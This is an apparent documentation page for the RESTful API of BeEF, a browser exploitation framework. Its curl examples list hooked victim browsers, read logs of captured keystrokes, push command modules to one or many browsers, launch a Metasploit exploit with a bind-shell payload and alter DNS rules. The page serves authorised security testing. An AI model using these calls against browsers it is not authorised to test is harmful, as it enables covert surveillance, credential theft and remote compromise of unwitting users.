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Introduction

From version 0.4.3.3 onwards, BeEF exposes a RESTful API. This allows users to script BeEF through HTTP/JSON requests.

Table of Contents

Authentication

A new pseudo-random token is generated each time BeEF starts, using BeEF::Core::Crypto::api_token. The token is added to the BeEF::Configuration object.

When BeEF starts the token is printed to the console. It should look something like:

[16:02:47][*] RESTful API key: 320f3cf4da7bf0df7566a517c5db796e73a23f47

NOTE:

  • If you require access to the token and you are writing Ruby code somewhere in BeEF, it can be called using:
BeEF::Core::Configuration.instance.get('beef.api_token')

Requesting the Authentication Token from the API

Handler

  • Endpoint
    • POST /api/admin/login
  • Description
    • In order to use the API, a token parameter must always be added to requests, otherwise a 401 error (Not Authorized) is returned. This request provides that token in response.
    • The credentials sent in the body of the request are the ones set in the main config.yaml file.
  • Request Components
    • N/A
  • Query Parameters
    • N/A
  • Request Content

Example

Request

curl -H "Content-Type: application/json" -X POST -d '{"username":"beef", "password":"beef"}' http://127.0.0.1:3000/api/admin/login

Response

response: {"success":true,"token":"8dc651e5ee1cb06003878bb26bd0e72800caeea0"}

Hooked Browsers

Handler

  • Endpoint
    • GET /api/hooks?token={token}
  • Description
    • Provides information (browser and OS version, cookies, enabled plugins, etc) about all hooked browsers (both online and offline).
  • Request Components
    • N/A
  • Query Parameters

Example

Request

curl http://beefserver.com:3000/api/hooks?token=320f3cf4da7bf0df7566a517c5db796e73a23f47

Response

{
    "hooked-browsers": {
        "online": {
            "0": {
                "name": "FF",
                "version": "10",
                "os": "Intel Mac OS X 10.7",
                "platform": "MacIntel",
                "session": "nBK3BGBILYD0bNMC1IH299oDbZXNNXKfwMEoDwajmItAHhhhe8LLnEPvO3wFjg1rO4PzXsBbUAK1V0gk",
                "ip": "127.0.0.1",
                "domain": "127.0.0.1",
                "port": "3000",
                "page_uri": "http://127.0.0.1:3000/demos/basic.html"
            }
        },
        "offline": {
            "0": {
                "name": "C",
                "version": "17",
                "os": "Macintosh",
                "platform": "MacIntel",
                "session": "26bxiMKoFfOeBgcvIV84qeOsEULKQIEYDH4djMbMPeoAZU4yySMIlJJ7GrAMwuMa0eX9wCKk24KOsCoT",
                "ip": "127.0.0.1",
                "domain": "127.0.0.1",
                "port": "3000",
                "page_uri": "http://127.0.0.1:3000/demos/basic.html"
}}}}

Browser Details

Handler

  • Endpoint
    • GET /api/hooks/{session}?token={token}
  • Description
    • Provides information (browser and OS version, cookies, enabled plugins, etc) about a specific hooked browser.
  • Request Components
    • {session} - session ID of the hooked browser. This ID is the session_key value returned in the response to the /api/hooks request.
  • Query Parameters

Example

Request

curl http://beefserver.com:3000/api/hooks/nBK3BGBILYD0bNMC1IH299oDbZXNNXKfwMEoDwajmItAHhhhe8LLnEPvO3wFjg1rO4PzXsBbUAK1V0gk?token=320f3cf4da7bf0df7566a517c5db796e73a23f47

Response

{ 
  "BrowserName": "O",
  "BrowserPlugins": "Shockwave Flash\nJava Applet Plug-in\nQuickTime Plug-in 7.7.1\nSharePoint Browser Plug-in\nSilverlight Plug-In\nWebEx64 General Plugin Container",
  "BrowserReportedName": "Opera/9.80 (Macintosh; Intel Mac OS X 10.7.3; U; en) Presto/2.10.229 Version/11.62",
  "BrowserType": "{"O11":true,"O":true}",
  "BrowserVersion": "11",
  "Cookies": "BEEFHOOK=nBK3BGBILYD0bNMC1IH299oDbZXNNXKfwMEoDwajmItAHhhhe8LLnEPvO3wFjg1rO4PzXsBbUAK1V0gk",
  "HasActiveX": "No",
  "HasFlash": "Yes",
  "HasGoogleGears": "No",
  "HasWebSocket": "No",
  "HostName": "127.0.0.1",
  "JavaEnabled": "Yes",
  "OsName": "Macintosh",
  "PageReferrer": "No Referrer",
  "PageTitle": "BeEF Basic Demo",
  "PageURI": "http://127.0.0.1:3000/demos/basic.html",
  "ScreenParams": "{"width"=>1680, "height"=>1050, "colordepth"=>32}",
  "SystemPlatform": "MacIntel",
  "VBScriptEnabled": "No",
  "WindowSize": "{"width"=>1000, "height"=>729}",
  "hasPersistentCookies": "Yes",
  "hasSessionCookies": "Yes"
}

Logs

Handler

  • Endpoint
    • GET /api/logs?token={token}
  • Description
    • The logs handler gives information about all hooked browser's logs, both global and relative.
  • Request Components
    • N/A
  • Query Parameters

Example

Request

curl http://beefserver.com:3000/api/logs?token=320f3cf4da7bf0df7566a517c5db796e73a23f47`

Response

{
    "logs_count": 8,
    "logs": [
        {
            "id": 1,
            "date": "2012-03-20T16:14:11+01:00",
            "event": "127.0.0.1 just joined the horde from the domain: 127.0.0.1:3000",
            "type": "Zombie"
        },
        {
            "id": 8,
            "date": "2012-03-20T16:18:27+01:00",
            "event": "19.092s - [Focus] Browser has regained focus.",
            "type": "Event"
        }
    ]
}

Browser's Log

Handler

  • Endpoint
    • GET /api/logs/{session}?token={token}
  • Description
    • The logs handler gives information about a specified hooked browser's logs.
  • Request Components :
    • {session} - session ID of the hooked browser. This ID is the session_key value returned in the response to the /api/hooks request.
  • Query Parameters

Example

Request

curl http://beefserver.com:3000/api/logs/nBK3BGBILYD0bNMC1IH299oDbZXNNXKfwMEoDwajmItAHhhhe8LLnEPvO3wFjg1rO4PzXsBbUAK1V0gk?token=320f3cf4da7bf0df7566a517c5db796e73a23f47`

Response

{
    "logs_count": 13,
    "logs": [
        {
            "id": 1,
            "date": "2012-03-20T16:14:11+01:00",
            "event": "127.0.0.1 just joined the horde from the domain: 127.0.0.1:3000",
            "type": "Zombie"
        },
        {
            "id": 16,
            "date": "2012-03-20T16:40:18+01:00",
            "event": "6.071s - [User Typed] "an" > input#imptxt(Important Text)",
            "type": "Event"
        },
        {
            "id": 17,
            "date": "2012-03-20T16:40:19+01:00",
            "event": "7.086s - [User Typed] "tisnatc" > input#imptxt(Important Text)",
            "type": "Event"
        },
        {
            "id": 18,
            "date": "2012-03-20T16:40:20+01:00",
            "event": "8.099s - [User Typed] "hor" > input#imptxt(Important Text)",
            "type": "Event"
        }
    ]
}

List Command Modules

Handler

  • Endpoint
    • GET /api/modules?token={token}
  • Description
    • List all available BeEF command modules.
  • Request Components
    • N/A
  • Query Parameters

Example

Request

curl http://beefserver.com:3000/api/modules?token=320f3cf4da7bf0df7566a517c5db796e73a23f47`

Response

{
    "0": {
        "id": 1,
        "name": "Linksys WRT54G CSRF",
        "category": "Router"
    },
    "65": {
        "id": 69,
        "name": "Redirect Browser (Rickroll)",
        "category": "Browser"
    },
    "66": {
        "id": 70,
        "name": "Replace Videos",
        "category": "Browser"
    },
    "67": {
        "id": 71,
        "name": "Create Prompt Dialog",
        "category": "Browser"
    }
}

Information on a Specific Module

Handler

  • Endpoint
    • GET /api/modules/{module_id}?token={token}
  • Description
    • Get detailed information about a specific BeEF command module.
  • Request Components :
  • Query Parameters

Example

Request

curl http://beefserver.com:3000/api/modules/71?token=320f3cf4da7bf0df7566a517c5db796e73a23f47`

Response

{
    "name": "prompt_dialog",
    "description": "Sends a prompt dialog to the hooked browser.",
    "category": "Browser",
    "options": [
        {
            "name": "question",
            "description": "Prompt text",
            "ui_label": "Prompt text"
        }
    ]
}

Launch Command Module on a Specific Browser

Handler

  • Endpoint
    • POST /api/modules/{session}/{module_id}?token={token}
  • Description
    • Launch a specific BeEF command module against a given hooked browser.
  • Request Components
    • {session} - session ID of the hooked browser. This ID is the session_key value returned in the response to the /api/hooks request.
    • {module_id} - ID of the BeEF module. See List Command Modules.
  • Query Parameters
  • Request Content
    • Headers
      • Content-Type: application/json; charset=UTF-8

Example

In the following example we send the prompt-dialog command module. Using our last example (our /api/modules/71 call), we can see that we can specify the question input with a custom value.

NOTE:

  • The request header must contain Content-Type: application/json; charset=UTF-8 and the request body must be valid JSON.

Request

curl -H "Content-Type: application/json; charset=UTF-8" -d '{"question":"wtf?"}' -X POST http://beefserver.com:3000/api/modules/nBK3BGBILYD0bNMC1IH299oDbZXNNXKfwMEoDwajmItAHhhhe8LLnEPvO3wFjg1rO4PzXsBbUAK1V0gk/71?token=320f3cf4da7bf0df7566a517c5db796e73a23f47`

Response

{
    "success": "true",
    "command_id": "1"
}

Return Information About the Specific Command Module Previously Executed

Handler

  • Endpoint
    • GET /api/modules/{session}/{module_id}/{cmd_id}?token={token}
  • Description
    • Returns information about a specific previously launched BeEF command module.
  • Request Components
    • {session} - session ID of the hooked browser. This ID is the session_key value returned in the response to the /api/hooks request.
    • {module_id} - ID of the BeEF module. See List Command Modules.
    • {cmd_id} - ID of the command launched. See Launch Command Module.
  • Query Parameters

Example

Again using our previous example, we would like to know results from the executed command module i.e. what the victim entered to the prompt dialog. In this case the victim entered don't know :D

Request

curl http://beefserver.com:3000/api/modules/nBK3BGBILYD0bNMC1IH299oDbZXNNXKfwMEoDwajmItAHhhhe8LLnEPvO3wFjg1rO4PzXsBbUAK1V0gk/71/1?token=320f3cf4da7bf0df7566a517c5db796e73a23f47`

Response

{
    "date": "1332260323",
    "data": "{"data":"answer=don't know"}"
}

Send a Metasploit Module

Handler

  • Endpoint
    • POST /api/modules/{session}/{module_id}?token={token}
  • Description
    • Launch a specific Metasploit module against a given hooked browser
  • Request Components :
    • {session} - session ID of the hooked browser. This ID is the session_key value returned in the response to the /api/hooks request.
    • {module_id} - ID of the BeEF module. See List Command Modules.
  • Query Parameters
  • Request Content
    • Headers
      • Content-Type: application/json; charset=UTF-8

Example

In the following example we send the Adobe FlateDecode Stream Predictor 02 Integer Overflow. Metasploit modules will be listed together with BeEF modules, marked with the metasploit category.

NOTE:

  • The request header must contain Content-Type: application/json; charset=UTF-8 and the request body must be valid JSON.

Request

curl -H "Content-Type: application/json; charset=UTF-8" -d '{"SRVPORT":"3992", "URIPATH":"77345345345dg", "PAYLOAD":"generic/shell_bind_tcp"}' -X POST http://beefserver.com:3000/api/modules/nBK3BGBILYD0bNMC1IH299oDbZXNNXKfwMEoDwajmItAHhhhe8LLnEPvO3wFjg1rO4PzXsBbUAK1V0gk/236?token=320f3cf4da7bf0df7566a517c5db796e73a23f47`

Response

NOTE:

{
    "success": "true",
    "command_id": "not_available"
}

Send a Module to Multiple Hooked Browsers

Handler

  • Endpoint
    • POST /api/modules/multi_browser?token={token}
  • Description
    • Fire a BeEF command module to multiple hooked browsers. Returns the command IDs of the launched module, or 0 if there were errors.
  • Request Components
    • N/A
  • Query Parameters
  • Request Content
    • Headers
      • Content-Type: application/json; charset=UTF-8
    • Body
      • mod_id - ID of the BeEF module. See List Command Modules.
      • mod_params - parameters needed for the module
      • hb_ids - session ID of the hooked browser. This ID is the session_key value returned in the response to the `/api/ request.

Example

Sending an Alert Module w/ Custom Text to 2 Browsers

NOTE:

  • The request header must contain Content-Type: application/json; charset=UTF-8 and the request body must be valid JSON.

Request

curl -H "Content-Type: application/json; charset=UTF-8" -d '{"mod_id":110,"mod_params":{"text":"vadi?"},"hb_ids":[1,2]}' -X POST http://beefserver.com:3000/api/modules/multi?token=2316d82702b83a293e2d46a0886a003a6be0a633

Response

{
    "1": 16,
    "2": 17
}

Send Multiple Modules to a Single Hooked Browser

Handler

  • Endpoint
    • POST /api/modules/multi_module?token={token}
  • Description
    • Fire multiple command modules to a single hooked browser. Returns the command IDs of the launched modules, or 0 if there were errors.
  • Request Components
    • N/A
  • Query Parameters
  • Request Content
    • Headers
      • Content-Type: application/json; charset=UTF-8
    • Body
    • hb_id - session ID of the hooked browser. This ID is the session_key value returned in the response to the /api/hooks request.(#hooked-browsers) request.
      • modules - an array containing all the modules to be launched, with the following two keys:
        • mod_id - ID of the BeEF module. See List Command Modules.
        • mod_input - any ncessary module parameters.

Example

Alert Module w/ Custom Text Using 2 Modules

NOTE:

  • The request header must contain Content-Type: application/json; charset=UTF-8 and the request body must be valid JSON.
  • For modules that don't need parameters, just pass an empty JSON object like {}.

Request

curl -H "Content-Type: application/json; charset=UTF-8" -d '{"hb":"vkIwVV3ok5i5vH2f8sxlkoaKqAGKCbZXdWqE9vkHNFBhI8aBBHvtZAGRO2XqFZXxThBlmKlRiVwPeAzj","modules":[{"mod_id":99,"mod_input":[{"repeat":"10"},{"repeat_string":"ABCDE"}]},{"mod_id":116,"mod_input":[{"question":"hooked?"}]},{"mod_id":128,"mod_input":[]}]}' -X POST http://beefserver.com:3000/api/modules/multi_module?token=e640483ae9bca2eb904f003f27dd4bc83936eb92

Response

NOTE:

  • Here that the Alert Dialog module execution had issues (i.e. it returns 0).
{
    "99": 7,
    "116": 8,
    "128": 0
}

List the DNS ruleset

Handler

  • Endpoint
    • GET /api/dns/ruleset?token={token}
  • Description
    • Returns the current set of DNS rules.
  • Request Components
    • N/A
  • Query Parameters

Example

Request

curl http://beefserver.com:3000/api/dns/ruleset?token=320f3cf4da7bf0df7566a517c5db796e73a23f47

Response

{
    "count": 5,
    "ruleset": [
        {
            "id": "0605e3d",
            "pattern": "example.com",
            "type": "NS",
            "response": [
                "ns.example.com"
            ]
        },
        {
            "id": "7e64183",
            "pattern": "example.com",
            "type": "MX",
            "response": [
                10,
                "mail.example.com"
            ]
        },
        {
            "id": "a972452",
            "pattern": "ns.example.com",
            "type": "A",
            "response": [
                "10.0.2.15"
            ]
        },
        {
            "id": "0d28ff1",
            "pattern": "mail.example.com",
            "type": "A",
            "response": [
                "10.0.2.16"
            ]
        },
        {
            "id": "45ce397",
            "pattern": "example.com",
            "type": "HINFO",
            "response": [
                "M68000",
                "VMS"
            ]
        }
    ]
}

List a Specific DNS Rule

Handler

  • Endpoint
    • GET /api/dns/rule/{id}?token={token}
  • Description
    • Returns an individual DNS rule given its unique id.
  • Request Components
    • {id} - unique identifier associated with a specific DNS rule
  • Query Parameters

Example

Request

curl http://beefserver.com:3000/api/dns/rule/7e64183?token=320f3cf4da7bf0df7566a517c5db796e73a23f47

Response

{
    "id": "7e64183",
    "pattern": "example.com",
    "type": "MX",
    "response": [
        10,
        "mail.example.com"
    ]
}

Add a New DNS Rule

Handler

  • Endpoint
    • POST /api/dns/rule?token={token}
  • Description
    • Adds a new DNS rule or "resource record". Does nothing if rule is already present.
  • Request Comonents
    • N/A
  • Query Parameters
  • Request Content
    • Headers
      • Content-Type: application/json; charset=UTF-8
    • Body
      • pattern - the query pattern to recognize.
      • resource - the resource record type (e.g. A, CNAME, NS, etc).
      • response - an array containing the response data.

Example

Request

curl -H "Content-Type: application/json; charset=UTF-8" -d '{"pattern": "example.com", "resource": "A", "response": [ "10.0.2.14" ]}' -X POST http://beefserver.com:3000/api/dns/rule?token=320f3cf4da7bf0df7566a517c5db796e73a23f47

Response

{
    "success": true,
    "id": "01f458a"
}

Remove an Existing DNS Rule

Handler

  • Endpoint
    • DELETE /api/dns/rule/{id}?token={token}
  • Description
    • Removes an individual DNS rule with a specified unique ID.
  • Request Components :
    • {id} - unique ID associated with the targeted rule.
  • Query Parameters

Example

Request

curl -X DELETE http://beefserver.com:3000/api/dns/rule/45ce397?token=320f3cf4da7bf0df7566a517c5db796e73a23f47

Response

{
    "success": true
}

Scripts

Persistence | Autorun Rule Engine

User Guide

I. Introduction   |   II. Basic Utilization   |   III. Advanced Utilization   |   IV. Development   |   V. References

Community

Blog   |   Code   |   Youtube   |   Twitter

I - Starting BeEF

  1. Introducing BeEF
  2. Installation
  3. Basics
  4. Troubleshooting

II - Basic Utilization

  1. Configuration
  2. Interface
  3. Information Gathering
  4. Social Engineering
  5. Network Discovery
  6. Metasploit
  7. Tunneling
  8. XSS Rays
  9. Persistence
  10. Creating a Module
  11. Geolocation
  12. Using-BeEF-With-NGROK

III - Advanced Utilization

  1. RESTful API
  2. Autorun Rule Engine
  3. Notifications
  4. Console
  5. WebRTC Extension

IV - Development

  1. Contributing
  2. ActiveRecord
  3. Development Organization
  4. Architecture
  5. BeEF Javascript API
  6. Step By Step Module Creation
  7. Creating a New Extension
  8. BeEF Testing
  9. Browser & OS Compatibility
  10. Database Schema
  11. Development Milestones
  12. Command Module Config
  13. Command Module API

V - References

  1. FAQ
  2. Other
  3. References
  4. Modules
  5. Release Notes
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